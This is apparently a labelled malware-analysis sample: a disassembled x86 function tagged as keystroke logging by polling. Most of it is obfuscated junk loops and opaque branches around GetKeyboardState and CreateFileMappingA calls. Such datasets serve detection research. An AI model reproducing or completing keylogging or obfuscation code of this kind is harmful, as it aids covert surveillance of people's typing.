Function at 0x1001998d
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10063742
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0xf8
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
movzx eax, byte [ebp + 0x30]
test eax, eax
je 0x10019e08
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0xe8], eax
lea eax, [ebp + 0x2c]
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x94], eax
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x7c], 0x4348
mov dword [ebp - 0xc8], str.tofuti_rgoqop_ddtfhoxs_ziqjpz_sbsypya_uoxnldl_vmsculq_nvanugei
cmp dword [ebp - 0x7c], 0x456d
jle 0x10019aed
and dword [ebp - 0x20], 0
jmp 0x10019a3a
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x732c
jge 0x10019aed
and dword [ebp - 0x34], 0
jmp 0x10019a54
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0x6d42
jge 0x10019ae8
and dword [ebp - 0x28], 0
jmp 0x10019a6e
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x5113
jge 0x10019ae3
and dword [ebp - 0x30], 0
jmp 0x10019a84
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0x7a15
jge 0x10019ae1
mov eax, dword [ebp - 0x34]
cdq
idiv dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
sub eax, edx
xor eax, dword [ebp - 0x30]
cdq
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0xe0], edx
push dword [ebp - 0xe0]
push dword [ebp - 0xe4]
lea ecx, [ebp - 0x108]
call fcn.10001a65
pop ecx
pop ecx
mov dword [ebp - 0x80], eax
mov ecx, dword [ebp - 0x80]
call fcn.10004c2e
push eax
call fcn.1004a373
pop ecx
lea ecx, [ebp - 0x108]
call fcn.10004c24
jmp 0x10019a7d
jmp 0x10019a67
jmp 0x10019a4d
jmp 0x10019a33
mov eax, dword [ebp - 0xbc]
movzx eax, byte [eax]
test eax, eax
je 0x10019da7
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0xcc], eax
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
neg eax
mov ecx, dword [ebp - 0x14]
cmp eax, dword [ecx]
jle 0x10019bae
mov dword [ebp - 0x70], 1
jmp 0x10019bb2
and dword [ebp - 0x70], 0
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
cmp eax, dword [ebp - 0x70]
je 0x10019bc5
mov dword [ebp - 0x40], 1
jmp 0x10019bc9
and dword [ebp - 0x40], 0
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ecx]
cmp dword [eax], ecx
jne 0x10019bde
mov dword [ebp - 0x48], 1
jmp 0x10019be2
and dword [ebp - 0x48], 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
cmp dword [ebp - 0x48], eax
jg 0x10019bf8
mov dword [ebp - 0x90], 1
jmp 0x10019bff
and dword [ebp - 0x90], 0
cmp dword [ebp - 0x40], 0x8e21
jle 0x10019c11
mov dword [ebp - 0x38], 1
jmp 0x10019c15
and dword [ebp - 0x38], 0
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x38]
mov dword [eax], ecx
cmp dword [ebp - 0x38], 0xfffffffe
jle 0x10019c2f
mov dword [ebp - 0x98], 1
jmp 0x10019c36
and dword [ebp - 0x98], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0xec], eax
xor eax, eax
je 0x10019c57
mov eax, 0xaca6
test eax, eax
je 0x10019c57
mov dword [ebp - 0x50], 1
jmp 0x10019c5b
and dword [ebp - 0x50], 0
imul eax, dword [ebp - 0x50], 0
test eax, eax
je 0x10019c74
mov eax, dword [ebp - 0x1c]
cmp dword [eax], 0
je 0x10019c74
mov dword [ebp - 0x68], 1
jmp 0x10019c78
and dword [ebp - 0x68], 0
cmp dword [ebp - 0x68], 1
jb 0x10019c87
mov dword [ebp - 0x58], 1
jmp 0x10019c8b
and dword [ebp - 0x58], 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
cmp dword [ebp - 0x58], eax
jge 0x10019ca1
mov dword [ebp - 0xa0], 1
jmp 0x10019ca8
and dword [ebp - 0xa0], 0
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov dword [ebp - 0xf0], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
neg eax
mov ecx, dword [ebp - 0x2c]
cmp eax, dword [ecx]
jge 0x10019cca
mov dword [ebp - 0x78], 1
jmp 0x10019cce
and dword [ebp - 0x78], 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
cmp dword [ebp - 0x78], eax
je 0x10019ce1
mov dword [ebp - 0x60], 1
jmp 0x10019ce5
and dword [ebp - 0x60], 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
imul eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x2c]
sub eax, dword [ecx]
mov ecx, dword [ebp - 0x14]
cmp eax, dword [ecx]
jne 0x10019d03
mov dword [ebp - 0x44], 1
jmp 0x10019d07
and dword [ebp - 0x44], 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
cmp dword [ebp - 0x44], eax
jge 0x10019d1a
mov dword [ebp - 0x4c], 1
jmp 0x10019d1e
and dword [ebp - 0x4c], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
cmp dword [ebp - 0x4c], eax
jge 0x10019d31
mov dword [ebp - 0x54], 1
jmp 0x10019d35
and dword [ebp - 0x54], 0
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x54]
sub ecx, dword [eax]
mov eax, dword [ebp - 0x14]
cmp ecx, dword [eax]
jle 0x10019d4d
mov dword [ebp - 0x5c], 1
jmp 0x10019d51
and dword [ebp - 0x5c], 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
sub eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x64]
mov dword [ecx], eax
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ecx]
cmp dword [eax], ecx
je 0x10019d73
mov dword [ebp - 0x6c], 1
jmp 0x10019d77
and dword [ebp - 0x6c], 0
cmp dword [ebp - 0x6c], 0xaac0
je 0x10019d89
mov dword [ebp - 0x3c], 1
jmp 0x10019d8d
and dword [ebp - 0x3c], 0
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0x3c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x3c]
neg eax
mov ecx, dword [ebp - 0xb0]
mov dword [ecx], eax
jmp 0x10019dc7
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x74]
mov dword [ecx], eax
and dword [ebp - 4], 0
cmp dword [ebp - 0x7c], 0x407b
jge 0x10019de0
push dword [ebp - 0xc8]
call fcn.1004a373
pop ecx
jmp 0x10019dfc
or dword [ebp - 4], 0xffffffff
jmp 0x10019e06
jmp 0x10019e4f
lea eax, [ebp + 0xc]
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0xd0]
movzx eax, byte [eax]
test eax, eax
je 0x10019e34
mov byte [ebp - 0x15], 0
movzx eax, byte [ebp - 0x15]
test eax, eax
je 0x10019e32
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
jmp 0x10019e4f
push 0
push 0x6e9
push 0xabb
push 0x1e3
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret